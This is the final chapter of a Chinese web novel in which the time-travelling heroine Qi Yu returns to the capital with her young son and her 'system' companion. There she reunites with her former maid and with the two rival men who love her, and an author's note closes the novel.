小院内吵吵嚷嚷,夕阳西下,一名女子推门而入,戚元凌犹如一支离弦的箭,咻一下就冲下了戚妤。 “娘!” 戚妤将自己的崽抱起来颠了颠,并往小元凌嘴里塞了个奶糖。 五年前,在赵家见过赵家的新家主怎样驱逐她这个赵婉仪,心中自然没了善念,给乌时晏去了封信,便独自离开了。 五年来,除了第一年回到现代好吃好喝,剩下四年的生活对戚妤来说格外按部就班。 她用身上的钱修了这栋宅子,买了山下的一间铺子,给自己寻了个女掌柜的身份。 乌时晏在此期间并未南巡,又有系统的帮助,无论是谁,想要找到她都很难。 安定后,戚妤也动过回京的心思,但她的日常无法遮掩,糊弄糊弄戚元凌还好,对上乌时晏与裴谨等人,很快就会被发现不妥,于是她便歇了这个心思。 不过现在五年都过去了…… 7579跟着冲了过来,喋喋不休道:“戚妤,你什么时候带着小崽子去找他爹,再这样操劳下去,我这条命都要赔给你们母子俩了!” 统命不是命吗? 再说了,戚元凌的脑子不知随谁,亦或者一加一大于二,再呆下去,小崽子很快就会察觉到不对劲儿。 譬如七叔的模样怎么不会变,譬如亲娘那早出晚归,上五休二的规律…… 7579原以为戚妤会说很快敷衍它,但没想到,戚妤略作思考道:“今晚收拾收拾,我们明日启程。” 7579愣住了,戚元凌的眼睛却亮了起来。 他一直都知道自己是有爹的,可娘陪在身边,又有七叔在,就什么都不想了。 但是小元凌对爹还是渴盼的,山下的小孩儿都有爹,这是七叔替代不了的。 若是7579知道小人是这样想的,定会大骂小崽子没良心,忘了是谁将他拉扯大的云云。 戚妤摸了摸戚元凌的头,她心里亦有盘算,能随时回到现代,加上最近这段时间现代的事情又不多,她更能遵从本心想干什么干什么。 把这个小崽子还回去,好歹家里是真有一个皇位让他继承,这等便宜可不能放过。 而且父子相认的场面连滴血认亲都不需要了,将戚元凌放到乌时晏身边,这相似的样子谁都质疑不了。 回京城的路上,三人一路是玩回去的。 戚妤等人原本可以更快,戚妤会骑马,系统又可以在她面前形成一个屏障挡风,她可以带着戚元凌骑马。 但戚元凌舍不得七叔,说什么也要让七叔陪他回去,又加上7579以前为了躲懒故意对戚元凌说它不会骑马,于是一行人只得乘马车前往京城。 不过好在路上时光悠闲,不算荒废光阴。 入了京,因为戚妤在京中早早地买了座宅子,他们不用再去客栈。 戚妤与戚元凌叼着方糕在吃,一大一小神情一模一样,7579问:“你什么时候去找他们?” 他们? 戚元凌好奇抬头。 戚妤也很苦恼:“明日?” 7579还想再问,却见戚妤已经下了马车,它连忙抱起小崽子跟上并给车夫结账。 戚妤早前买下的宅子不算大,因无人打理,用钥匙开门后光是庭院内就落满了落叶。 7579脸色大变,任劳任怨拿出长帕子系在脸上,开始打扫卫生。 戚妤难得生出了些不忍:“要不然我再请几个人?” 她和系统的恩怨早在7579勤恳如老黄牛的带崽中消失的无影无踪了,7579虽然常常抱怨,但任何琐事都不让她沾手。 这次也一样。 “不要!”有两个人类就够了,不能再多了! 7579哼哼唧唧语带嫌弃道:“这个家没我得散,你们一个两个,细胳膊细腿能干什么?” 然后它加足了马力,不愿戚妤与小崽子等太久。 戚妤带着戚元凌出了巷子,去吃街边的馄饨,回去的路上,正巧碰见邻居家的门开出了条缝,一个两岁左右的女娃探头探脑地向外张望。 如果没记错的,这好像是她给佩玖留的宅子。 当初为了方便,她将两栋宅子买在了一起。 戚妤细看了眼这个小孩,依稀从她脸上看出了佩玖的影子。 佩玖?! 戚妤愣神之际,一个小妇人提着女童的后衣领,声音清亮道:“没有爹娘在,不可以往外走,更不可以开门,小游不乖呦。” 戚元凌扬起笑脸,他从小就听娘的话,他是天底下最乖的孩子! 名叫小游的女童说话还不太顺畅,慢吞吞道:“娘,有人来了。” 年轻的妇人抬头,撞上了戚妤与戚元凌的目光,她不知二人在这看了多久。 妇人脸一红,羞赧又惊喜:“娘娘!” 这人正是佩玖。 戚妤笑起来,应是完全长开的缘故,佩玖比之前漂亮了许多,脸颊上的微微圆润恰到好处。 小游被抱了起来:“娘羞羞。”娘亲这么大怎么好叫别人娘娘呢。 戚妤屈指蹭了蹭小游柔软的脸颊,给小游喂了一个奶片。 她看向佩玖:“见到你的样子,知道你过的好,我便放心了。” “娘娘精神气儿也与那时不同了。”时间并未在戚妤身上留下任何痕迹,她仍是那个漂亮的女郎,不过比五年前更怡然了。 佩玖说起当年陛下给了她两个选择,一是继续留在宫中,二是拿着钱财在京中安置,她毫不犹豫选择了后者。 陛下将后宫仅剩的几位妃嫔都遣出了宫,让她们挂在宗室的名头上被收为义女,以便日后重新嫁娶或在京中行走,宫中空落落的,她呆在那里又有什么意思呢。 遇见戚妤前的四处漂泊让她无法忘怀,她只想过平淡幸福的日子。 不过因为跟着娘娘眼光都拔高了不少,又过了两年才相中小游的爹。 戚妤和戚元凌在佩玖家里一直呆到天快黑才勉强脱身。 戚妤牵着戚元凌带着见到朋友的喜悦刚走了两步,便发现宅子附近很不对劲,门前突兀地站了一个人,一侧亦停了一辆黑乎乎的马车。 戚妤先看到的是裴谨,裴谨面对大门紧闭不禁眉头紧锁,他有点委屈,不知道戚妤为什么不开门。 马车上的乌时晏暗恨裴谨的抢先,不过裴谨被挡在门外,又让他的眉头有些舒展。 这五年来,他不敢动裴谨,生怕没了裴谨,戚妤更不情愿回来了。 乌时晏在暗处窥探,先一步发现了戚妤的身影,当机立断下了马车,与此同时亦发现了戚妤手中牵着的小崽子。 那是……他的种! 错不了!虽眉毛唇型更像戚妤,嗯,神态也像娘,但有些地方亦像他。 戚妤看着裴谨,未发现从马车上下来的乌时晏。 戚元凌则左看右看,率先发现了乌时晏,实在是那个高大的男人死死盯着他看,他想不发现都不行。 戚元凌眨巴了下眼,犹豫着小跑向了乌时晏。 七叔说这个世界上像他的人只有他爹,他觉得这个身高,这个相貌,这个气宇不凡的气势……他想象中的爹就是这个样子! 乌时晏蹲下来,抱住了小崽子,他原想的是他站起身后再在戚妤的目光中一步步走过去。 毕竟他们是一家三口啊。 然而他看向戚妤,才发现戚妤已经与裴谨浅浅笑了起来。 裴谨应是被小崽子跑过来的动静惊醒,发现了戚妤,他大踏步走到戚妤面前,情绪外露到眼眶都红了,他看了戚妤一眼,而后将戚妤揽在怀里,身上的披风还心机地将戚妤整个拢住。 戚妤声音清甜:“我很守诺,没有忘了裴大人,一直都记得。” 裴谨弯腰附耳:“我就知道你会回来。” 他并非未卜先知,而是在这五年间一遍遍告诉着自己。 乌时晏要气炸了,偏这时,戚元凌开始凌乱了。 小崽子迟疑问:“我是不是认错爹了?” 乌时晏咬牙切齿道:“那是你娘外室!” 他才是阿妤的丈夫! 后知后觉发现乌时晏也在的戚妤一僵,两个男人同时看向她,一个带笑,一个面露不虞,似要看她先哄哪一个—— 作者有话说:完结了,之后有一个小崽子视角的番外[加油][加油] 下本一定存稿再开[鸽子][鸽子]《 》